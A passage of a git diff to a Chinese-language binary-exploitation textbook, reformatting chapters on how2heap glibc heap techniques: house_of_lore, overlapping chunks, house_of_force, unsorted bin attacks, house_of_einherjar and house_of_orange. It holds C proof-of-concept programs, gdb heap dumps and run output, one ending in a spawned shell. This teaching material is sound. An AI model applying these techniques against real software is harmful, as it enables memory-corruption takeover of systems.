[+] unsorted_bins[0]: fw=0x603050, bk=0x603050 → Chunk(addr=0x603060, size=0x40, flags=PREV_INUSE) ``` + 最后,再次 malloc 将返回 fake chunk 1 的地址,地址在栈上且我们能够控制。同时 small bin 变成这样: -``` + +```text HEAD(undefined) <-> fake chunk 2 <-> TAIL ``` -``` + +```text gef➤ x/10gx &stack_buffer_2 0x7fffffffdc30: 0x0000000000000000 0x0000000000000000 <-- fake chunk 2 0x7fffffffdc40: 0x00007ffff7dd1bf8 0x0000000000400aed <-- fd->TAIL @@ -651,14 +688,16 @@ gef➤ x/10gx &stack_buffer_2 0x7fffffffdc60: 0x4141414141414141 0x4141414141414141 0x7fffffffdc70: 0x00007fffffffdd60 0x7c008088c400bc00 ``` + 于是我们就成功地骗过了 malloc 在栈上分配了一个 chunk。 最后再想一下,其实最初的 victim chunk 使用 fast chunk 也是可以的,其释放后虽然是被加入到 fast bins 中,而不是 unsorted bin,但 malloc 之后,也会被整理到 small bins 里。自行尝试吧。 heap-use-after-free,所以上面我们用于修改 bk 指针的漏洞,应该就是一个 UAF 吧,当然溢出也是可以的: -``` + +```text $ gcc -fsanitize=address -g house_of_lore.c -$ ./a.out +$ ./a.out Allocated the victim (small) chunk: 0x60c00000bf80 stack_buffer_1: 0x7ffd1fbc5cd0 stack_buffer_2: 0x7ffd1fbc5c90 @@ -673,6 +712,7 @@ READ of size 8 at 0x60c00000bf80 thread T0 ``` 最后再给一个 libc-2.27 版本的: + ```c #include #include @@ -741,9 +781,10 @@ int main() { memcpy((p4+0xa8), &sc, 8); } ``` -``` + +```text $ gcc -g house_of_lore.c -$ ./a.out +$ ./a.out Allocated the victim (small) chunk: 0x55674d75f260 stack_buffer_1: 0x7ffff71fb1d0 stack_buffer_2: 0x7ffff71fb1f0 @@ -764,7 +805,8 @@ The fd pointer of stack_buffer_2 has changed: 0x7ffff71fb1e0 Nice jump d00d ``` -#### overlapping_chunks +### overlapping_chunks + ```c #include #include @@ -806,9 +848,10 @@ int main() { fprintf(stderr, "p3 = %s\n", (char *)p3); } ``` -``` + +```text $ gcc -g overlapping_chunks.c -$ ./a.out +$ ./a.out Now we allocate 3 chunks on the heap p1=0x1e2b010 p2=0x1e2b0a0 @@ -828,10 +871,12 @@ If we memset(p3, 'C', 0x50), we have: p4 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa p3 = CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa ``` + 这个比较简单,就是堆块重叠的问题。通过一个溢出漏洞,改写 unsorted bin 中空闲堆块的 size,改变下一次 malloc 可以返回的堆块大小。 首先分配三个堆块,然后释放掉中间的一个: -``` + +```text gef➤ x/60gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 0x602010: 0x4141414141414141 0x4141414141414141 @@ -863,24 +908,28 @@ gef➤ x/60gx 0x602010-0x10 0x6021b0: 0x0000000000000000 0x0000000000000000 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602090, bk=0x602090 → Chunk(addr=0x6020a0, size=0x90, flags=PREV_INUSE) ``` + chunk 2 被放到了 unsorted bin 中,其 size 值为 0x90。 接下来,假设我们有一个溢出漏洞,可以改写 chunk 2 的 size 值,比如这里我们将其改为 0x111,也就是原本 chunk 2 和 chunk 3 的大小相加,最后一位是 1 表示 chunk 1 是在使用的,其实有没有都无所谓。 -``` -gef➤ heap bins unsorted + +```text +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602090, bk=0x602090 → Chunk(addr=0x6020a0, size=0x110, flags=PREV_INUSE) ``` + 这时 unsorted bin 中的数据也更改了。 接下来 malloc 一个大小的等于 chunk 2 和 chunk 3 之和的 chunk 4,这会将 chunk 2 和 chunk 3 都包含进来: -``` + +```text gef➤ x/60gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 0x602010: 0x4141414141414141 0x4141414141414141 @@ -913,9 +962,11 @@ gef➤ x/60gx 0x602010-0x10 0x6021c0: 0x0000000000000000 0x0000000000000000 0x6021d0: 0x0000000000000000 0x0000000000000000 ``` + 这样,相当于 chunk 4 和 chunk 3 就重叠了,两个 chunk 可以互相修改对方的数据。就像上面的运行结果打印出来的那样。 -#### overlapping_chunks_2 +### overlapping_chunks_2 + ```c #include #include @@ -954,7 +1005,7 @@ int main() { fprintf(stderr, "\nLet's free the chunk p4\n\n"); fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n"); - *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE + *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE free(p2); @@ -968,9 +1019,10 @@ int main() { fprintf(stderr, "p3 after = %s\n", (char *)p3); } ``` -``` + +```text $ gcc -g overlapping_chunks_2.c -$ ./a.out +$ ./a.out Now we allocate 5 chunks on the heap chunk p1: 0x18c2010 ~ 0x18c2028 @@ -989,10 +1041,12 @@ Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0) p3 before = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� p3 after = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA� ``` + 同样是堆块重叠的问题,前面那个是在 chunk 已经被 free,加入到了 unsorted bin 之后,再修改其 size 值,然后 malloc 一个不一样的 chunk 出来,而这里是在 free 之前修改 size 值,使 free 错误地修改了下一个 chunk 的 prev_size 值,导致中间的 chunk 强行合并。另外前面那个重叠是相邻堆块之间的,而这里是不相邻堆块之间的。 我们需要五个堆块,假设第 chunk 1 存在溢出,可以改写第二个 chunk 2 的数据,chunk 5 的作用是防止释放 chunk 4 后被合并进 top chunk。所以我们要重叠的区域是 chunk 2 到 chunk 4。首先将 chunk 4 释放掉,注意看 chunk 5 的 prev_size 值: -``` + +```text gef➤ x/70gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 0x602010: 0x4141414141414141 0x4141414141414141 @@ -1029,15 +1083,17 @@ gef➤ x/70gx 0x602010-0x10 0x602200: 0x0000000000000000 0x0000000000000000 0x602210: 0x0000000000000000 0x0000000000000000 0x602220: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602140, bk=0x602140 → Chunk(addr=0x602150, size=0x90, flags=PREV_INUSE) ``` + free chunk 4 被放入 unsorted bin,大小为 0x90。 接下来是最关键的一步,利用 chunk 1 的溢出漏洞,将 chunk 2 的 size 值修改为 chunk 2 和 chunk 3 的大小之和,即 0x90+0x90+0x1=0x121,最后的 1 是标志位。这样当我们释放 chunk 2 的时候,malloc 根据这个被修改的 size 值,会以为 chunk 2 加上 chunk 3 的区域都是要释放的,然后就错误地修改了 chunk 5 的 prev_size。接着,它发现紧邻的一块 chunk 4 也是 free 状态,就把它俩合并在了一起,组成一个大 free chunk,放进 unsorted bin 中。 -``` + +```text gef➤ x/70gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 0x602010: 0x4141414141414141 0x4141414141414141 @@ -1074,11 +1130,12 @@ gef➤ x/70gx 0x602010-0x10 0x602200: 0x0000000000000000 0x0000000000000000 0x602210: 0x0000000000000000 0x0000000000000000 0x602220: 0x0000000000000000 0x0000000000000000 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602020, bk=0x602020 → Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE) ``` + 现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。 最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。 diff --git a/doc/3.1.8_heap_exploit_3.md b/doc/3.1.8_heap_exploit_3.md index 31a73f7..94fa958 100644 --- a/doc/3.1.8_heap_exploit_3.md +++ b/doc/3.1.8_heap_exploit_3.md @@ -8,11 +8,12 @@ - [house_of_orange](#house_of_orange) - [参考资料](#参考资料) - [下载文件](../src/Others/3.1.6_heap_exploit) ## how2heap -#### house_of_force + +### house_of_force + ```c #include #include @@ -54,9 +55,10 @@ int main() { fprintf(stderr, "new string: %s\n", bss_var); } ``` -``` + +```text $ gcc -g house_of_force.c -$ ./a.out +$ ./a.out We will overwrite a variable at 0x601080 Let's allocate the first chunk of 0x10 bytes: 0x824010. @@ -74,30 +76,36 @@ Now, the next chunk we overwrite will point at our target buffer, so we can over old string: This is a string that we want to overwrite. new string: YEAH!!! ``` + house_of\_force 是一种通过改写 top chunk 的 size 字段来欺骗 malloc 返回任意地址的技术。我们知道在空闲内存的最高处,必然存在一块空闲的 chunk,即 top chunk,当 bins 和 fast bins 都不能满足分配需要的时候,malloc 会从 top chunk 中分出一块内存给用户。所以 top chunk 的大小会随着分配和回收不停地变化。这种攻击假设有一个溢出漏洞,可以改写 top chunk 的头部,然后将其改为一个非常大的值,以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地址处的内存。 首先随意分配一个 chunk,此时内存里存在两个 chunk,即 chunk 1 和 top chunk: -``` + +```text gef➤ x/8gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk 0x602030: 0x0000000000000000 0x0000000000000000 ``` + chunk 1 真实可用的内存有 0x18 字节。 假设 chunk 1 存在溢出,利用该漏洞我们现在将 top chunk 的 size 值改为一个非常大的数: -``` + +```text gef➤ x/8gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk 1 0x602010: 0x4141414141414141 0x4141414141414141 0x602020: 0x4141414141414141 0xffffffffffffffff <-- modified top chunk 0x602030: 0x0000000000000000 0x0000000000000000 ``` + 改写之后的 size==0xffffffff。 现在我们可以 malloc 一个任意大小的内存而不用调用 mmap 了。接下来 malloc 一个 chunk,使得该 chunk 刚好分配到我们想要控制的那块区域为止,这样在下一次 malloc 时,就可以返回到我们想要控制的区域了。计算方法是用目标地址减去 top chunk 地址,再减去 chunk 头的大小。 -``` + +```text gef➤ x/8gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x4141414141414141 0x4141414141414141 @@ -113,7 +121,8 @@ gef➤ x/12gx 0x602010+0xfffffffffffff050 ``` 再次 malloc,将目标地址包含进来即可,现在我们就成功控制了目标内存: -``` + +```text gef➤ x/12gx 0x602010+0xfffffffffffff050 0x601060: 0x4141414141414141 0x4141414141414141 0x601070: 0x4141414141414141 0x0000000000000041 <-- chunk 2 @@ -122,9 +131,11 @@ gef➤ x/12gx 0x602010+0xfffffffffffff050 0x6010a0 : 0x6972777265766f20 0x00000000002e6574 0x6010b0: 0x0000000000000000 0x0000000000000f69 <-- top chunk ``` + 该技术的缺点是会受到 ASLR 的影响,因为如果攻击者需要修改指定位置的内存,他首先需要知道当前 top chunk 的位置以构造合适的 malloc 大小来转移 top chunk。而 ASLR 将使堆内存地址随机,所以该技术还需同时配合使用信息泄漏以达成攻击。 -#### unsorted_bin_into_stack +### unsorted_bin_into_stack + ```c #include #include @@ -163,9 +174,10 @@ int main() { fprintf(stderr, "malloc(0x100): %p\n", fake); } ``` -``` -$ gcc -g unsorted_bin_into_stack.c -$ ./a.out + +```text +$ gcc -g unsorted_bin_into_stack.c +$ ./a.out Allocating the victim chunk at 0x17a1010 Freeing the chunk, it will be inserted in the unsorted bin @@ -178,30 +190,36 @@ Now we overwrite the victim->bk pointer to stack: 0x7fffcd906480 Malloc a chunk which size is 0x110 will return the region of our fake chunk: 0x7fffcd906490 malloc(0x100): 0x7fffcd906490 ``` + unsorted-bin-into-stack 通过改写 unsorted bin 里 chunk 的 bk 指针到任意地址,从而在栈上 malloc 出 chunk。 首先将一个 chunk 放入 unsorted bin,并且在栈上伪造一个 chunk: -``` + +```text gdb-peda$ x/6gx victim - 2 0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 0x602020: 0x0000000000000000 0x0000000000000000 -gdb-peda$ x/4gx stack_buf +gdb-peda$ x/4gx stack_buf 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk 0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0 ``` + 然后假设有一个漏洞,可以改写 victim chunk 的 bk 指针,那么将其改为指向 fake chunk: -``` + +```text gdb-peda$ x/6gx victim - 2 0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk 0x602010: 0x00007ffff7dd1b78 0x00007fffffffdbc0 <-- bk pointer 0x602020: 0x0000000000000000 0x0000000000000000 -gdb-peda$ x/4gx stack_buf +gdb-peda$ x/4gx stack_buf 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk 0x7fffffffdbd0: 0x0000000000000000 0x00007fffffffdbc0 ``` + 那么此时就相当于 fake chunk 已经被链接到 unsorted bin 中。在下一次 malloc 的时候,malloc 会顺着 bk 指针进行遍历,于是就找到了大小正好合适的 fake chunk: -``` + +```text gdb-peda$ x/6gx victim - 2 0x602000: 0x0000000000000000 0x0000000000000091 <-- victim chunk 0x602010: 0x00007ffff7dd1bf8 0x00007ffff7dd1bf8 @@ -210,12 +228,14 @@ gdb-peda$ x/4gx fake - 2 0x7fffffffdbc0: 0x0000000000000000 0x0000000000000110 <-- fake chunk 0x7fffffffdbd0: 0x00007ffff7dd1b78 0x00007fffffffdbc0 ``` + fake chunk 被取出,而 victim chunk 被从 unsorted bin 中取出来放到了 small bin 中。另外值得注意的是 fake chunk 的 fd 指针被修改了,这是 unsorted bin 的地址,通过它可以泄露 libc 地址,这正是下面 unsorted bin attack 会讲到的。 将上面的代码解除注释,就是 libc-2.27 环境下的版本,但是需要注意的是由于 tcache 的影响,`stack_buf[3]` 不能再设置成任意地址。 malloc 前: -``` + +```text gdb-peda$ x/6gx victim - 2 0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk 0x555555756260: 0x00007ffff7dd2b00 0x00007fffffffdcb0 @@ -238,8 +258,10 @@ gdb-peda$ x/26gx 0x0000555555756000+0x10 0x5555557560c0: 0x0000000000000000 0x0000000000000000 0x5555557560d0: 0x0000000000000000 0x0000000000000000 ``` + malloc 后: -``` + +```text gdb-peda$ x/6gx victim - 2 0x555555756250: 0x0000000000000000 0x0000000000000091 <-- victim chunk 0x555555756260: 0x00007ffff7dd2b80 0x00007ffff7dd2b80 @@ -262,9 +284,11 @@ gdb-peda$ x/26gx 0x0000555555756000+0x10 0x5555557560c0: 0x0000000000000000 0x00007fffffffdcc0 <-- entries 0x5555557560d0: 0x0000000000000000 0x0000000000000000 ``` + 可以看到在 malloc 时,fake chunk 被不断重复地链接到 tcache bin,直到装满后,才从 unsorted bin 里取出。同样的,fake chunk 的 fd 指向 unsorted bin。 -#### unsorted_bin_attack +### unsorted_bin_attack + ```c #include #include @@ -287,9 +311,10 @@ int main() { fprintf(stderr, "Let's malloc again to get the chunk we just free: %p -> %p\n", &stack_var, (void*)stack_var); } ``` -``` -$ gcc -g unsorted_bin_attack.c -$ ./a.out + +```text +$ gcc -g unsorted_bin_attack.c +$ ./a.out The target we want to rewrite on stack: 0x7ffc9b1d61b0 -> 0 Now, we allocate first small chunk on the heap at: 0x1066010 @@ -298,18 +323,22 @@ We write it with the target address-0x10: 0x7ffc9b1d61a0 Let's malloc again to get the chunk we just free: 0x7ffc9b1d61b0 -> 0x7f2404cf5b78 ``` + unsorted bin 攻击通常是为更进一步的攻击做准备的,我们知道 unsorted bin 是一个双向链表,在分配时会通过 unlink 操作将 chunk 从链表中移除,所以如果能够控制 unsorted bin chunk 的 bk 指针,就可以向任意位置写入一个指针。这里通过 unlink 将 libc 的信息写入到我们可控的内存中,从而导致信息泄漏,为进一步的攻击提供便利。 unlink 的对 unsorted bin 的操作是这样的: + ```c /* remove from unsorted list */ unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); ``` + 其中 `bck = victim->bk`。 首先分配两个 chunk,然后释放掉第一个,它将被加入到 unsorted bin 中: -``` + +```text gef➤ x/26gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 1 [be freed] 0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd, bk pointer @@ -327,14 +356,15 @@ gef➤ x/26gx 0x602010-0x10 gef➤ x/4gx &stack_var-2 0x7fffffffdc50: 0x00007fffffffdd60 0x0000000000400712 0x7fffffffdc60: 0x0000000000000000 0x0000000000602010 -gef➤ heap bins unsorted +gef➤ heap bins unsorted [ Unsorted Bin for arena 'main_arena' ] [+] unsorted_bins[0]: fw=0x602000, bk=0x602000 → Chunk(addr=0x602010, size=0x90, flags=PREV_INUSE) ``` 然后假设存在一个溢出漏洞,可以让我们修改 chunk 1 的数据。然后我们将 chunk 1 的 bk 指针修改为指向目标地址 - 2,也就相当于是在目标地址处有一个 fake free chunk,然后 malloc: -``` + +```text gef➤ x/26gx 0x602010-0x10 0x602000: 0x0000000000000000 0x0000000000000091 <-- chunk 3 0x602010: 0x00007ffff7dd1b78 0x00007fffffffdc50 @@ -353,9 +383,11 @@ gef➤ x/4gx &stack_var-2 0x7fffffffdc50: 0x00007fffffffdc80 0x0000000000400756 <-- fake chunk 0x7fffffffdc60: 0x00007ffff7dd1b78 0x0000000000602010 <-- fd->TAIL ``` + 从而泄漏了 unsorted bin 的头部地址。 那么继续来看 libc-2.27 里怎么处理: + ```c #include #include @@ -386,9 +418,10 @@ int main() { fprintf(stderr, "Finally malloc again to get the chunk at target address: %p -> %p\n", &stack_var, (void*)stack_var); } ``` -``` + +```text $ gcc -g tcache_unsorted_bin_attack.c -$ ./a.out +$ ./a.out The target we want to rewrite on stack: 0x7ffef0884c10 -> 0 Now, we allocate first small chunk on the heap at: 0x564866907260 @@ -401,7 +434,9 @@ Now write its bk ptr with the target address-0x10: 0x7ffef0884c00 Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f69ba1d8ca0 ``` + 我们知道由于 tcache 的存在,malloc 从 unsorted bin 取 chunk 的时候,如果对应的 tcache bin 还未装满,则会将 unsorted bin 里的 chunk 全部放进对应的 tcache bin,然后再从 tcache bin 中取出。那么问题就来了,在放进 tcache bin 的这个过程中,malloc 会以为我们的 target address 也是一个 chunk,然而这个 "chunk" 是过不了检查的,将抛出 "memory corruption" 的错误: + ```c while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av)) { @@ -411,7 +446,9 @@ Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f6 > av->system_mem, 0)) malloc_printerr ("malloc(): memory corruption"); ``` + 那么要想跳过放 chunk 的这个过程,就需要对应 tcache bin 的 counts 域不小于 tcache_count(默认为7),但如果 counts 不为 0,说明 tcache bin 里是有 chunk 的,那么 malloc 的时候会直接从 tcache bin 里取出,于是就没有 unsorted bin 什么事了: + ```c if (tc_idx < mp_.tcache_bins /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */ @@ -421,9 +458,11 @@ Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f6 return tcache_get (tc_idx); } ``` + 这就造成了矛盾,所以我们需要找到一种既能从 unsorted bin 中取 chunk,又不会将 chunk 放进 tcache bin 的办法。 于是就得到了上面的利用 tcache poisoning(参考章节4.14),将 counts 修改成了 `0xff`,于是在进行到下面这里时就会进入 else 分支,直接取出 chunk 并返回: + ```c #if USE_TCACHE /* Fill cache first, return to user only if cache fills. @@ -443,9 +482,11 @@ Finally malloc again to get the chunk at target address: 0x7ffef0884c10 -> 0x7f6 alloc_perturb (p, bytes); return p; ``` + 于是就成功泄露出了 unsorted bin 的头部地址。 -#### house_of_einherjar +### house_of_einherjar + ```c #include #include @@ -482,7 +523,7 @@ int main() { fprintf(stderr, "We allocate 0xf8 bytes for 'b': %p\n", b); fprintf(stderr, "b.size: %#lx\n", *b_size_ptr); fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); - a[real_a_size] = 0; + a[real_a_size] = 0; fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk); @@ -502,9 +543,10 @@ int main() { fprintf(stderr, "\nNow we can call malloc() and it will begin in our fake chunk: %p\n", d); } ``` -``` -$ gcc -g house_of_einherjar.c -$ ./a.out + +```text +$ gcc -g house_of_einherjar.c +$ ./a.out We allocate 0x10 bytes for 'a': 0xb31010 Our fake chunk at 0x7ffdb337b7f0 looks like: @@ -529,16 +571,18 @@ Our fake chunk size is now 0xffff80024d7d6811 (b.size + fake_prev_size) Now we can call malloc() and it will begin in our fake chunk: 0x7ffdb337b800 ``` + house-of-einherjar 是一种利用 malloc 来返回一个附近地址的任意指针。它要求有一个单字节溢出漏洞,覆盖掉 next chunk 的 size 字段并清除 `PREV_IN_USE` 标志,然后还需要覆盖 prev_size 字段为 fake chunk 的大小。当 next chunk 被释放时,它会发现前一个 chunk 被标记为空闲状态,然后尝试合并堆块。只要我们精心构造一个 fake chunk,让合并后的堆块范围到 fake chunk 处,那下一次 malloc 将返回我们想要的地址。比起前面所讲过的 poison-null-byte ,更加强大,但是要求的条件也更多一点,比如一个堆信息泄漏。 首先分配一个假设存在 off_by\_one 溢出的 chunk a,然后在栈上创建我们的 fake chunk,chunk 大小随意,只要是 small chunk 就可以了: -``` + +```text gef➤ x/8gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x4141414141414141 0x4141414141414141 0x603020: 0x4141414141414141 0x0000000000020fe1 <-- top chunk 0x603030: 0x0000000000000000 0x0000000000000000 -gef➤ x/8gx &fake_chunk +gef➤ x/8gx &fake_chunk 0x7fffffffdcb0: 0x0000000000000080 0x0000000000000080 <-- fake chunk 0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0 0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0 @@ -546,23 +590,26 @@ gef➤ x/8gx &fake_chunk ``` 接下来创建 chunk b,并利用 chunk a 的溢出将 size 字段覆盖掉,清除了 `PREV_INUSE` 标志,chunk b 就会以为前一个 chunk 是一个 free chunk 了: -``` + +```text gef➤ x/8gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x4141414141414141 0x4141414141414141 0x603020: 0x4141414141414141 0x0000000000000100 <-- chunk b 0x603030: 0x0000000000000000 0x0000000000000000 ``` + 原本 chunk b 的 size 字段应该为 0x101,在这里我们选择 malloc(0xf8) 作为 chunk b 也是出于方便的目的,覆盖后只影响了标志位,没有影响到大小。 接下来根据 fake chunk 在栈上的位置修改 chunk b 的 prev_size 字段。计算方法是用 chunk b 的起始地址减去 fake chunk 的起始地址,同时为了绕过检查,还需要将 fake chunk 的 size 字段与 chunk b 的 prev\_size 字段相匹配: -``` + +```text gef➤ x/8gx a-0x10 0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a 0x603010: 0x4141414141414141 0x4141414141414141 0x603020: 0xffff800000605370 0x0000000000000100 <-- chunk b <-- prev_size 0x603030: 0x0000000000000000 0x0000000000000000 -gef➤ x/8gx &fake_chunk +gef➤ x/8gx &fake_chunk 0x7fffffffdcb0: 0x0000000000000080 0xffff800000605370 <-- fake chunk <-- size 0x7fffffffdcc0: 0x00007fffffffdcb0 0x00007fffffffdcb0 0x7fffffffdcd0: 0x00007fffffffdcb0 0x00007fffffffdcb0 @@ -570,22 +617,26 @@ gef➤ x/8gx &fake_chunk ``` 释放 chunk b,这时因为 `PREV_INUSE` 为零,unlink 会根据 prev_size 去寻找上一个 free chunk,并将它和当前 chunk 合并。从 arena 里可以看到: -``` -gef➤ heap arenas + +```text +gef➤ heap arenas Arena (base=0x7ffff7dd1b20, top=0x7fffffffdcb0, last_remainder=0x0, next=0x7ffff7dd1b20, next_free=0x0, system_mem=0x21000) ``` + 合并的过程在 poison-null-byte 那里也讲过了。 最后当我们再次 malloc,其返回的地址将是 fake chunk 的地址: -``` -gef➤ x/8gx &fake_chunk + +```text +gef➤ x/8gx &fake_chunk 0x7fffffffdcb0: 0x0000000000000080 0x0000000000000021 <-- chunk d 0x7fffffffdcc0: 0x4141414141414141 0x4141414141414141 0x7fffffffdcd0: 0x00007fffffffdcb0 0xffff800000626331 0x7fffffffdce0: 0x00007fffffffddd0 0xbdf40e22ccf46c00 ``` -#### house_of_orange +### house_of_orange + ```c #include #include @@ -628,9 +679,10 @@ int winner(char *ptr) { return 0; } ``` -``` + +```text $ gcc -g house_of_orange.c -$ ./a.out +$ ./a.out *** Error in `./a.out': malloc(): memory corruption: 0x00007f3daece3520 *** ======= Backtrace: ========= /lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f3dae9957e5] @@ -644,8 +696,8 @@ $ ./a.out 00600000-00601000 r--p 00000000 08:01 919342 /home/firmy/how2heap/a.out 00601000-00602000 rw-p 00001000 08:01 919342 /home/firmy/how2heap/a.out 01e81000-01ec4000 rw-p 00000000 00:00 0 [heap] -7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0 -7f3da8021000-7f3dac000000 ---p 00000000 00:00 0 +7f3da8000000-7f3da8021000 rw-p 00000000 00:00 0 +7f3da8021000-7f3dac000000 ---p 00000000 00:00 0 7f3dae708000-7f3dae71e000 r-xp 00000000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f3dae71e000-7f3dae91d000 ---p 00016000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 7f3dae91d000-7f3dae91e000 rw-p 00015000 08:01 398989 /lib/x86_64-linux-gnu/libgcc_s.so.1 @@ -653,13 +705,13 @@ $ ./a.out 7f3daeade000-7f3daecde000 ---p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so 7f3daecde000-7f3daece2000 r--p 001c0000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so 7f3daece2000-7f3daece4000 rw-p 001c4000 08:01 436912 /lib/x86_64-linux-gnu/libc-2.23.so -7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0 +7f3daece4000-7f3daece8000 rw-p 00000000 00:00 0 7f3daece8000-7f3daed0e000 r-xp 00000000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so -7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0 -7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0 +7f3daeef4000-7f3daeef7000 rw-p 00000000 00:00 0 +7f3daef0c000-7f3daef0d000 rw-p 00000000 00:00 0 7f3daef0d000-7f3daef0e000 r--p 00025000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so 7f3daef0e000-7f3daef0f000 rw-p 00026000 08:01 436908 /lib/x86_64-linux-gnu/ld-2.23.so -7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0 +7f3daef0f000-7f3daef10000 rw-p 00000000 00:00 0 7ffe8eba6000-7ffe8ebc7000 rw-p 00000000 00:00 0 [stack] 7ffe8ebee000-7ffe8ebf1000 r--p 00000000 00:00 0 [vvar] 7ffe8ebf1000-7ffe8ebf3000 r-xp 00000000 00:00 0 [vdso] @@ -669,23 +721,29 @@ firmy $ exit Aborted (core dumped) ``` + house-of-orange 是一种利用堆溢出修改 `_IO_list_all` 指针的利用方法。它要求能够泄漏堆和 libc。我们知道一开始的时候,整个堆都属于 top chunk,每次申请内存时,就从 top chunk 中划出请求大小的堆块返回给用户,于是 top chunk 就越来越小。 当某一次 top chunk 的剩余大小已经不能够满足请求时,就会调用函数 `sysmalloc()` 分配新内存,这时可能会发生两种情况,一种是直接扩充 top chunk,另一种是调用 mmap 分配一块新的 top chunk。具体调用哪一种方法是由申请大小决定的,为了能够使用前一种扩展 top chunk,需要请求小于阀值 